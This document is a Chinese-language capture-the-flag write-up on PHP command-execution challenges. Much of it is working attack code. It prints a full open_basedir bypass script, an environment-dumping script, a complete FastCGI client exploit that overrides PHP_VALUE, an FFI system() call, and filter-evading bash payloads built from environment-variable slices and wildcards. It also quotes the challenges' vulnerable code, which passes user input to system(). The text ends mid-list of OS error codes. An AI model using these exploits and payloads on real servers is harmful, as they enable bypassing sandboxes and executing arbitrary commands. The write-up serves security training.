array ( 0 => '.', 1 => '..', 2 => '.dockerenv', 3 => 'bin', 4 => 'dev', 5 => 'etc', 6 => 'flagc.txt', 7 => 'home', 8 => 'lib', 9 => 'media', 10 => 'mnt', 11 => 'opt', 12 => 'proc', 13 => 'root', 14 => 'run', 15 => 'sbin', 16 => 'srv', 17 => 'sys', 18 => 'tmp', 19 => 'usr', 20 => 'var', )
payload:
c=include('/flagc.txt');die();
c=var_export(scandir('/'));die();
結果輸出NULL
.
glob 協議讀取:
c=$it=newDirectoryIterator("glob:///*");foreach($itas$f) {echo$f->getFilename()."\n";}die();
得到flag:
c=include('/flagx.txt');die();
glob://
協議讀文件名flag36.txt
,
c=$it = new DirectoryIterator("glob:///*");foreach($it as $f) {echo$f->getFilename()."\n";}die();
接下來就是懵逼時刻了。
p牛的bypass open_basedir腳本:
<?php header('content-type: text/plain'); error_reporting(-1); ini_set('display_errors', TRUE); printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion()); printf("disable_functions: %s\n", ini_get('disable_functions')); $file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd'); $relat_file = getRelativePath(__FILE__, $file); $paths = explode('/', $file); $name = mt_rand() % 999; $exp = getRandStr(); mkdir($name); chdir($name); for($i = 1 ; $i < count($paths) - 1 ; $i++){ mkdir($paths[$i]); chdir($paths[$i]); } mkdir($paths[$i]); for ($i -= 1; $i > 0; $i--) { chdir('..'); } $paths = explode('/', $relat_file); $j = 0; for ($i = 0; $paths[$i] == '..'; $i++) { mkdir($name); chdir($name); $j++; } for ($i = 0; $i <= $j; $i++) { chdir('..'); } $tmp = array_fill(0, $j + 1, $name); symlink(implode('/', $tmp), 'tmplink'); $tmp = array_fill(0, $j, '..'); symlink('tmplink/' . implode('/', $tmp) . $file, $exp); unlink('tmplink'); mkdir('tmplink'); delfile($name); $exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}"; $exp = "http://{$_SERVER['SERVER_NAME']}{$exp}"; echo "\n-----------------content---------------\n\n"; echo file_get_contents($exp); delfile('tmplink'); function getRelativePath($from, $to) { // some compatibility fixes for Windows paths $from = rtrim($from, '\/') . '/'; $from = str_replace('\\', '/', $from); $to = str_replace('\\', '/', $to); $from = explode('/', $from); $to = explode('/', $to); $relPath = $to; foreach($from as $depth => $dir) { // find first non-matching dir if($dir === $to[$depth]) { // ignore this directory array_shift($relPath); } else { // get number of remaining dirs to $from $remaining = count($from) - $depth; if($remaining > 1) { // add traversals up to first matching dir $padLength = (count($relPath) + $remaining - 1) * -1; $relPath = array_pad($relPath, $padLength, '..'); break; } else { $relPath[0] = './' . $relPath[0]; } } } return implode('/', $relPath); } function delfile($deldir){ if (@is_file($deldir)) { @chmod($deldir,0777); return @unlink($deldir); }else if(@is_dir($deldir)){ if(($mydir = @opendir($deldir)) == NULL) return false; while(false !== ($file = @readdir($mydir))) { $name = File_Str($deldir.'/'.$file); if(($file!='.') && ($file!='..')){delfile($name);} } @closedir($mydir); @chmod($deldir,0777); return @rmdir($deldir) ? true : false; } } function File_Str($string) { return str_replace('//','/',str_replace('\\','/',$string)); } function getRandStr($length = 6) { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $randStr = ''; for ($i = 0; $i < $length; $i++) { $randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1); } return $randStr; }
不大行 php獲取敏感信息的腳本:
<?php
printf("System: %s\n",php_uname());
printf("php_version: %s\n",phpversion());
printf("open_basedir: %s\n\n", ini_get('open_basedir'));
printf("disable_functions: %s\n\n", ini_get('disable_functions'));
printf("all_extensions: ");
foreach(get_loaded_extensions() as$key=>$value){
printf("%s ",$value);
}
printf("\n\nENVIRONMENT: ");
foreach(getenv() as$key=>$value){
printf("\n\n%s=%s",$key,$value);
}
foreach(ini_get_all() as$key=>$value){
printf("\n\n%s ==> %s",$key,$value["local_value"]);
}
exit();
攻擊fastcgi exp:
<?php class TimedOutException extends Exception { } class ForbiddenException extends Exception { } class Client { const VERSION_1 = 1; const BEGIN_REQUEST = 1; const ABORT_REQUEST = 2; const END_REQUEST = 3; const PARAMS = 4; const STDIN = 5; const STDOUT = 6; const STDERR = 7; const DATA = 8; const GET_VALUES = 9; const GET_VALUES_RESULT = 10; const UNKNOWN_TYPE = 11; const MAXTYPE = self::UNKNOWN_TYPE; const RESPONDER = 1; const AUTHORIZER = 2; const FILTER = 3; const REQUEST_COMPLETE = 0; const CANT_MPX_CONN = 1; const OVERLOADED = 2; const UNKNOWN_ROLE = 3; const MAX_CONNS = 'MAX_CONNS'; const MAX_REQS = 'MAX_REQS'; const MPXS_CONNS = 'MPXS_CONNS'; const HEADER_LEN = 8; const REQ_STATE_WRITTEN = 1; const REQ_STATE_OK = 2; const REQ_STATE_ERR = 3; const REQ_STATE_TIMED_OUT = 4; private $_sock = null; private $_host = null; private $_port = null; private $_keepAlive = false; private $_requests = array(); private $_persistentSocket = false; private $_connectTimeout = 5000; private $_readWriteTimeout = 5000; public function __construct( $host, $port ) { $this->_host = $host; $this->_port = $port; } public function setKeepAlive( $b ) { $this->_keepAlive = (boolean) $b; if ( ! $this->_keepAlive && $this->_sock ) { fclose( $this->_sock ); } } public function getKeepAlive() { return $this->_keepAlive; } public function setPersistentSocket( $b ) { $was_persistent = ( $this->_sock && $this->_persistentSocket ); $this->_persistentSocket = (boolean) $b; if ( ! $this->_persistentSocket && $was_persistent ) { fclose( $this->_sock ); } } public function getPersistentSocket() { return $this->_persistentSocket; } public function setConnectTimeout( $timeoutMs ) { $this->_connectTimeout = $timeoutMs; } public function getConnectTimeout() { return $this->_connectTimeout; } public function setReadWriteTimeout( $timeoutMs ) { $this->_readWriteTimeout = $timeoutMs; $this->set_ms_timeout( $this->_readWriteTimeout ); } public function getReadWriteTimeout() { return $this->_readWriteTimeout; } private function set_ms_timeout( $timeoutMs ) { if ( ! $this->_sock ) { return false; } return stream_set_timeout( $this->_sock, floor( $timeoutMs / 1000 ), ( $timeoutMs % 1000 ) * 1000 ); } private function connect() { if ( ! $this->_sock ) { if ( $this->_persistentSocket ) { $this->_sock = pfsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 ); } else { $this->_sock = fsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 ); } if ( ! $this->_sock ) { throw new Exception( 'Unable to connect to FastCGI application: ' . $errstr ); } if ( ! $this->set_ms_timeout( $this->_readWriteTimeout ) ) { throw new Exception( 'Unable to set timeout on socket' ); } } } private function buildPacket( $type, $content, $requestId = 1 ) { $clen = strlen( $content ); return chr( self::VERSION_1 ) /* version */ . chr( $type ) /* type */ . chr( ( $requestId >> 8 ) & 0xFF ) /* requestIdB1 */ . chr( $requestId & 0xFF ) /* requestIdB0 */ . chr( ( $clen >> 8 ) & 0xFF ) /* contentLengthB1 */ . chr( $clen & 0xFF ) /* contentLengthB0 */ . chr( 0 ) /* paddingLength */ . chr( 0 ) /* reserved */ . $content; /* content */ } private function buildNvpair( $name, $value ) { $nlen = strlen( $name ); $vlen = strlen( $value ); if ( $nlen < 128 ) { /* nameLengthB0 */ $nvpair = chr( $nlen ); } else { /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */ $nvpair = chr( ( $nlen >> 24 ) | 0x80 ) . chr( ( $nlen >> 16 ) & 0xFF ) . chr( ( $nlen >> 8 ) & 0xFF ) . chr( $nlen & 0xFF ); } if ( $vlen < 128 ) { /* valueLengthB0 */ $nvpair .= chr( $vlen ); } else { /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */ $nvpair .= chr( ( $vlen >> 24 ) | 0x80 ) . chr( ( $vlen >> 16 ) & 0xFF ) . chr( ( $vlen >> 8 ) & 0xFF ) . chr( $vlen & 0xFF ); } /* nameData & valueData */ return $nvpair . $name . $value; } private function readNvpair( $data, $length = null ) { $array = array(); if ( $length === null ) { $length = strlen( $data ); } $p = 0; while ( $p != $length ) { $nlen = ord( $data{$p ++} ); if ( $nlen >= 128 ) { $nlen = ( $nlen & 0x7F << 24 ); $nlen |= ( ord( $data{$p ++} ) << 16 ); $nlen |= ( ord( $data{$p ++} ) << 8 ); $nlen |= ( ord( $data{$p ++} ) ); } $vlen = ord( $data{$p ++} ); if ( $vlen >= 128 ) { $vlen = ( $nlen & 0x7F << 24 ); $vlen |= ( ord( $data{$p ++} ) << 16 ); $vlen |= ( ord( $data{$p ++} ) << 8 ); $vlen |= ( ord( $data{$p ++} ) ); } $array[ substr( $data, $p, $nlen ) ] = substr( $data, $p + $nlen, $vlen ); $p += ( $nlen + $vlen ); } return $array; } private function decodePacketHeader( $data ) { $ret = array(); $ret['version'] = ord( $data{0} ); $ret['type'] = ord( $data{1} ); $ret['requestId'] = ( ord( $data{2} ) << 8 ) + ord( $data{3} ); $ret['contentLength'] = ( ord( $data{4} ) << 8 ) + ord( $data{5} ); $ret['paddingLength'] = ord( $data{6} ); $ret['reserved'] = ord( $data{7} ); return $ret; } private function readPacket() { if ( $packet = fread( $this->_sock, self::HEADER_LEN ) ) { $resp = $this->decodePacketHeader( $packet ); $resp['content'] = ''; if ( $resp['contentLength'] ) { $len = $resp['contentLength']; while ( $len && ( $buf = fread( $this->_sock, $len ) ) !== false ) { $len -= strlen( $buf ); $resp['content'] .= $buf; } } if ( $resp['paddingLength'] ) { $buf = fread( $this->_sock, $resp['paddingLength'] ); } return $resp; } else { return false; } } public function getValues( array $requestedInfo ) { $this->connect(); $request = ''; foreach ( $requestedInfo as $info ) { $request .= $this->buildNvpair( $info, '' ); } fwrite( $this->_sock, $this->buildPacket( self::GET_VALUES, $request, 0 ) ); $resp = $this->readPacket(); if ( $resp['type'] == self::GET_VALUES_RESULT ) { return $this->readNvpair( $resp['content'], $resp['length'] ); } else { throw new Exception( 'Unexpected response type, expecting GET_VALUES_RESULT' ); } } public function request( array $params, $stdin ) { $id = $this->async_request( $params, $stdin ); return $this->wait_for_response( $id ); } public function async_request( array $params, $stdin ) { $this->connect(); // Pick random number between 1 and max 16 bit unsigned int 65535 $id = mt_rand( 1, ( 1 << 16 ) - 1 ); // Using persistent sockets implies you want them keept alive by server! $keepAlive = intval( $this->_keepAlive || $this->_persistentSocket ); $request = $this->buildPacket( self::BEGIN_REQUEST , chr( 0 ) . chr( self::RESPONDER ) . chr( $keepAlive ) . str_repeat( chr( 0 ), 5 ) , $id ); $paramsRequest = ''; foreach ( $params as $key => $value ) { $paramsRequest .= $this->buildNvpair( $key, $value, $id ); } if ( $paramsRequest ) { $request .= $this->buildPacket( self::PARAMS, $paramsRequest, $id ); } $request .= $this->buildPacket( self::PARAMS, '', $id ); if ( $stdin ) { $request .= $this->buildPacket( self::STDIN, $stdin, $id ); } $request .= $this->buildPacket( self::STDIN, '', $id ); if ( fwrite( $this->_sock, $request ) === false || fflush( $this->_sock ) === false ) { $info = stream_get_meta_data( $this->_sock ); if ( $info['timed_out'] ) { throw new TimedOutException( 'Write timed out' ); } // Broken pipe, tear down so future requests might succeed fclose( $this->_sock ); throw new Exception( 'Failed to write request to socket' ); } $this->_requests[ $id ] = array( 'state' => self::REQ_STATE_WRITTEN, 'response' => null ); return $id; } public function wait_for_response( $requestId, $timeoutMs = 0 ) { if ( ! isset( $this->_requests[ $requestId ] ) ) { throw new Exception( 'Invalid request id given' ); } if ( $this->_requests[ $requestId ]['state'] == self::REQ_STATE_OK || $this->_requests[ $requestId ]['state'] == self::REQ_STATE_ERR ) { return $this->_requests[ $requestId ]['response']; } if ( $timeoutMs > 0 ) { // Reset timeout on socket for now $this->set_ms_timeout( $timeoutMs ); } else { $timeoutMs = $this->_readWriteTimeout; } $startTime = microtime( true ); do { $resp = $this->readPacket(); if ( $resp['type'] == self::STDOUT || $resp['type'] == self::STDERR ) { if ( $resp['type'] == self::STDERR ) { $this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_ERR; } $this->_requests[ $resp['requestId'] ]['response'] .= $resp['content']; } if ( $resp['type'] == self::END_REQUEST ) { $this->_requests[ $resp['requestId'] ]['state'] = self::REQ_STATE_OK; if ( $resp['requestId'] == $requestId ) { break; } } if ( microtime( true ) - $startTime >= ( $timeoutMs * 1000 ) ) { // Reset $this->set_ms_timeout( $this->_readWriteTimeout ); throw new Exception( 'Timed out' ); } } while ( $resp ); if ( ! is_array( $resp ) ) { $info = stream_get_meta_data( $this->_sock ); // We must reset timeout but it must be AFTER we get info $this->set_ms_timeout( $this->_readWriteTimeout ); if ( $info['timed_out'] ) { throw new TimedOutException( 'Read timed out' ); } if ( $info['unread_bytes'] == 0 && $info['blocked'] && $info['eof'] ) { throw new ForbiddenException( 'Not in white list. Check listen.allowed_clients.' ); } throw new Exception( 'Read failed' ); } // Reset timeout $this->set_ms_timeout( $this->_readWriteTimeout ); switch ( ord( $resp['content']{4} ) ) { case self::CANT_MPX_CONN: throw new Exception( 'This app can't multiplex [CANT_MPX_CONN]' ); break; case self::OVERLOADED: throw new Exception( 'New request rejected; too busy [OVERLOADED]' ); break; case self::UNKNOWN_ROLE: throw new Exception( 'Role value not known [UNKNOWN_ROLE]' ); break; case self::REQUEST_COMPLETE: return $this->_requests[ $requestId ]['response']; } } } $client = new Client("unix:///tmp/php-cgi-74.sock", -1); $php_value = "open_basedir = /"; $filepath = '/tmp/readflag.php'; $content = 'hpdoger'; echo $client->request( array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SCRIPT_FILENAME' => $filepath, 'SERVER_SOFTWARE' => 'php/fcgiclient', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9985', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'mag-tured', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_TYPE' => 'application/x-www-form-urlencoded', 'CONTENT_LENGTH' => strlen( $content ), 'PHP_VALUE' => $php_value, ), $content );
可以用下面代碼判斷php以什么運行:
<?phpechophp_sapi_name();exit();
下面這段代碼可以建立sock連接
<?php
$fp=fsockopen("www.example.com", 80, $errno, $errstr, 30);
if(!$fp) {
echo"$errstr($errno)<br />\n";
} else{
$out="GET / HTTP/1.1\r\n";
$out.="Host: www.example.com\r\n";
$out.="Connection: Close\r\n\r\n";
fwrite($fp, $out);
while(!feof($fp)) {
echofread($fp, 128);
}
fclose($fp);
}
?>
php7.4,基本上命令執行就告一段落了
提示說php7.4 立馬想到FFI
FFI,php7.4以上才有 https://www.php.net/manual/zh/ffi.cdef.phphttps://www.php.cn/php-weizijiaocheng-415807.html
payload:
$ffi = FFI::cdef("int system(const char *command);");//創建一個system對象 $a='/readflag > 1.txt';//沒有回顯的 $ffi->system($a);//通過$ffi去調用system函數
有過濾,fuzz 了一下
發現大寫字母 _ @ # $ ~ ; . ?
等沒被過濾。
以前有個類似的題,但有不一樣,知識點 https://yanmie-art.github.io/2020/09/28/ctfshow%E6%9C%88%E9%A5%BC%E6%9D%AF/
環境變量一般是指用來指定操作系統運行環境的一些參數,比如臨時文件夾的位置和系統文件夾位置等。
我們會經常使用一些Linux下操作指令,如ls,ps等。這些命令我們在任何一個目錄下都能夠執行。其實這些命令不過是一個個可執行程序,一般存放在/bin或/usr/bin目錄下。你有沒有思考過當我們執行這些指令的時候,操作系統是怎么找到他們的呢?
其實操作系統能夠找到這些指令都要歸功于,系統中的環境變量PATH。PATH環境變量中就記錄了這些文件所在的路徑,當我們使用以上命令的時候,PATH環境變量就把指令的路徑提交給shell,Linux操作系統就是通過搜索PATH環境變量從而找到這些命令的。
可以使用env
命令來查看我們linux 環境變量的設置。
如圖:
s
root@ecs-sn3-medium-2-win-20191202181542:~# env LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36: SSH_CONNECTION=1.68.96.182 25650 192.168.0.196 22 LESSCLOSE=/usr/bin/lesspipe %s %s LANG=en_US.UTF-8 DISPLAY=localhost:10.0 HISTTIMEFORMAT=%F %T root XDG_SESSION_ID=11226 USER=root PWD=/root HOME=/root SSH_CLIENT=1.68.96.182 25650 22 XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/desktop SSH_TTY=/dev/pts/0 MAIL=/var/mail/root TERM=xterm SHELL=/bin/bash SHLVL=1 LOGNAME=root XDG_RUNTIME_DIR=/run/user/0 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin HISTSIZE=1000 LESSOPEN=| /usr/bin/lesspipe %s _=/usr/bin/env
環境變量的格式
環境變量名=內容1:內容2 //環境變量名一般大寫,多個內容用":"隔開,且等號兩邊不能有空格
查看環境變量名的內容,可以使用指令:“echo $環境變量名”
example:echo $PATH
環境變量的添加
添加環境變量使用指令export,分為臨時添加和永久添加
臨時添加
臨時添加只對當前的終端有效,如果當前終端關閉,則添加的環境變量接不存在了。
比如我們本地編寫一個hello.c的文檔,然后用gcc編譯成hello可執行文件。如果我們想在任何目錄下都可以執行該文件,則只需要將其添加到環境變量中去。
@export PATH=<hello文件所在的目錄>:$PATH
此處如果不加":$PATH",則PATH環境變量以前的內容就被覆蓋掉了,加上這個表示我們仍引用它之前的內容,只不過再添加上我們的新內容罷了。
永久添加
在Linux系統中,有些文件在系統啟動的時候或用戶登錄的時候會自動執行。例如/etc/profile,這是一個Shell腳本文件,任何用戶登錄的時候都會執行。
所以,只要我們將環境變量添加到/etc/profile中,這樣在任何時候環境變量都有效。
開始做題。上邊題目小寫字母和數字都被過濾了。但是我們還可以使用大寫字母、$ 、冒號。
而linux 中環境變量恰好就是大寫字母。比如說常見的 PATH 變量。
root@ecs-sn3-medium-2-win-20191202181542:~# echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
我們還可以echo ${PATH:1:1}
會得到 字符u
.
為什么呢?
$PATH
是一串字符串,沖0 開始,取 1 位置也就是第2位字符開始取一位。
但是字母被過濾了就很難受。
我們還有一種方法,取 linux 變量代表字符串的長度,就可以構成我們的變量了。
比如說echo ${#PATH}
會得到 98 . 那么我們就可以使用env
命令輸出的變量中的環境變量選擇一個合適的 取其長度 再結合$PATH
構造我們字符 getshell .
比如說我們想構造ls
原本可以通過${PATH:5:1}${PATH:11:1}
構造,但是過濾了數字。
但是還可以這樣${PATH:${#TERM}:${#SHLVL}}${PATH:${#LANG}:${#SHLVL}}
.
$RANDOM
是Bash的內部函數(并不是常量), 這個函數將返回一個偽隨機[1]整數, 范圍在0 - 32767之間. 它*不*
應該被用來產生密匙.所以可以使用 ${#RANDOM} 表示 1 , 2 ,3,4,5 有幾率。
還可以:
${PATH:~0}
輸出變量代表字符串的最后一位,但是我們的數字被過濾了,我們可以使用${PATH:~A}
,應該是字符等于false等于 0 把,所以可以把最后一位給代表。
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}}
代表nl
.
如果想要讀取文件的話可以使用 linux 通配符。
https://blog.csdn.net/wit_732/article/details/106290562
payload:
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}}?${PATH:${#RANDOM}:${#SHLVL}}??.??? #其他師傅 ${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}}????.???
環境界面和上題一樣,經測試在上題的基礎上多過濾了PATH
,那么這個系統變量肯定是不能用了。
cat 命令實質上是在/bin/cat
那么我們利用其它命令構造他,
題目wp應該是與題目環境即容器名稱有關。
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}}????.???
這里$HOSTNAME
就各機器都不同。
但是我自己構造的在題目機器上又執行不了。
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#RANDOM}:${#SHLVL}} ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HISTSIZE}:${#SHLVL}}
旨在構造/bin/cat
利用通配符/???/??t
.
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo'<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo'<div align="center">'.system($code).'</div>';
}
}
else{
echo'<div align="center">evil input</div>';
}
}
?>
又增加過濾了HOME
自己構造的paylaod在這里不行,顯示太長
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${PWD:${RANDOM:~A}}
官方payload:
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
官方wp這里的$USER
代表的變量最后一位是a
,題目也沒提示。。。
這里PWD
不是/root
,要不然就可以
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${PWD:~A}
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo'<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo'<div align="center">'.system($code).'</div>';
}
}
else{
echo'<div align="center">evil input</div>';
}
}
?>
有多過濾了幾個linux變量.
首先這里 把$SHLVL
給 ban 了,那我們就得找其他的 1 個長度的變量。
$? 最后運行的命令的結束代碼(返回值)即執行上一個指令的返回值 (顯示最后命令的退出狀態。0表示沒有錯誤,其他任何值表明有錯誤)
$# 添加到Shell的參數個數
詳情: https://blog.csdn.net/helloxiaozhe/article/details/80940066
${#?}
、${##}
都可以代表 1
題目$PWD
變量不知又是代表的啥。
題目 wp: 構造 /bin/rev
${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
# /???/r??
flag出來之后繼續rev 反轉一下就可以了。
web122~ 通配符構造/bin/base64
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo'<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo'<div align="center">'.system($code).'</div>';
}
}
else{
echo'<div align="center">evil input</div>';
}
}
?>
PWD被 ban ,但 可以 HOME
把 #ban 了。之后就不能搞變量長度了。那么就得想出構造數字。
通過$?來實現的,$?是表示上一條命令執行結束后的傳回值。通常0代表執行成功,非0代表執行有誤
錯誤對照表:
“OS error code 1: Operation not permitted” “OS error code 2: No such file or directory” “OS error code 3: No such process” “OS error code 4: Interrupted system call” “OS error code 5: Input/output error” “OS error code 6: No such device or address” “OS error code 7: Argument list too long” “OS error code 8: Exec format error” “OS error code 9: Bad file descriptor” “OS error code 10: No child processes” “OS error code 11: Resource temporarily unavailable” “OS error code 12: Cannot allocate memory” “OS error code 13: Permission denied” “OS error code 14: Bad address” “OS error code 15: Block device required” “OS error code 16: Device or resource busy” “OS error code 17: File exists” “OS error code 18: Invalid cross-device link” “OS error code 19: No such device” “OS error code 20: Not a directory” “OS error code 21: Is a directory” “OS error code 22: Invalid argument” “OS error code 23: Too many open files in system” “OS error code 24: Too many open files” “OS error code 25: Inappropriate ioctl for device” “OS error code 26: Text file busy” “OS error code 27: File too large” “OS error code 28: No space left on device” “OS error code 29: Illegal seek” “OS error code 30: Read-only file system” “OS error code 31: Too many links” “OS error code 32: Broken pipe” “OS error code 33: Numerical argument out of domain” “OS error code 34: Numerical result out of range” “OS error code 35: Resource deadlock avoided” “OS error code 36: File name too long” “OS error code 37: No locks available” “OS error code 38: Function not implemented” “OS error code 39: Directory not empty” “OS error code 40: Too many levels of symbolic links” “OS error code 42: No message of desired type” “OS error code 43: Identifier removed” “OS error code 44: Channel number out of range” “OS error code 45: Level 2 not synchronized” “OS error code 46: Level 3 halted” “OS error code 47: Level 3 reset” “OS error code 48: Link number out of range” “OS error code 49: Protocol driver not attached” “OS error code 50: No CSI structure available” “OS error code 51: Level 2 halted” “OS error code 52: Invalid exchange” “OS error code 53: Invalid request descriptor” “OS error code 54: Exchange full” “OS error code 55: No anode” “OS error code 56: Invalid request code” “OS error code 57: Invalid slot” “OS error code 59: Bad font file format” “OS error code 60: Device not a stream” “OS error code 61: No data available” “OS error code 62: Timer expired” “OS error code 63: Out of streams resources” “OS error code 64: Machine is not on the network” “OS error code 65: Package not installed” “OS error code 66: Object is remote” “OS error code 67: Link has been severed” “OS error code 68: Advertise error” “OS error code 69: Srmount error” “OS error code 70: Communication error on send” “OS error code 71: Protocol error” “OS error code 72: Multihop attempted” “OS error code 73: RFS specific error” “OS error code 74: Bad message” “OS error code 75: Value too large for defined data type” “OS error code 76: Name not unique on network” “OS error code 77: File descriptor in bad state” “OS error code 78: Remote address changed” “OS error code 79: Can not access a needed shared library” “OS error code 80: Accessing a corrupted shared library” “OS error code 81: .lib section in a.out corrupted” “OS error code 82: Attempting to link in too many shared libraries” “OS error code 83: Cannot exec a shared library directly” “OS error code 84: Invalid or incomplete multibyte or wide character” “OS error code 85: Interrupted system call should be restarted” “OS error code 86: Streams pipe error” “OS error code 87: Too many users” “OS error code 88: Socket operation on non-socket” “OS error code 89: Destination address required” “OS error code 90: Message too long” “OS error code 91: Protocol wrong type for socket” “OS error code 92: Protocol not available” “OS error code 93: Protocol not supported” “OS error code 94: Socket type not supported” “OS error code 95: Operation not supported” “OS error code 96: Protocol family not supported” “OS error code 97: Address family not supported by protocol” “OS error code 98: Address already in use” “OS error code 99: Cannot assign requested address” “OS error code 100: Network is down” “OS error code 101: Network is unreachable” “OS error code 102: Network dropped connection on reset” “OS error code 103: Software caused connection abort” “OS error code 104: Connection reset by peer” “OS error code 105: No buffer space available” “OS error code 106: Transport endpoint is already connected” “OS error code 107: Transport endpoint is not connected” “OS error code 108: Cannot send after transport endpoint shutdown” “OS error code 109: Too many references: cannot splice” “OS error code 110: Connection timed out” “OS error code 111: Connection refused” “OS error code 112: Host is down” “OS error code 113: No route to host” “OS error code 114: Operation already in progress” “OS error code 115: Operation now in progress” “OS error code 116: Stale NFS file handle” “OS error code 117: Structure needs cleaning” “OS error code 118: Not a XENIX named type file” “OS error code 119: No XENIX semaphores available” “OS error code 120: Is a named type file” “OS error code 121: Remote I/O error” “OS error code 122: Disk quota exceeded” “OS error code 123: No medium found” “OS error code 124: Wrong medium type” “OS error code 125: Operation canceled” “OS error code 126: Required key not available” “OS error code 127: Key has expired” “OS error code 128: Key has been revoked” “OS error code 129: Key was rejected by service” “OS error code 130: Owner died” “OS error code 131: State not recoverable” “MySQL error code 132: Old database file” “MySQL error code 133: No record read before update” “MySQL error code 134: Record was already deleted 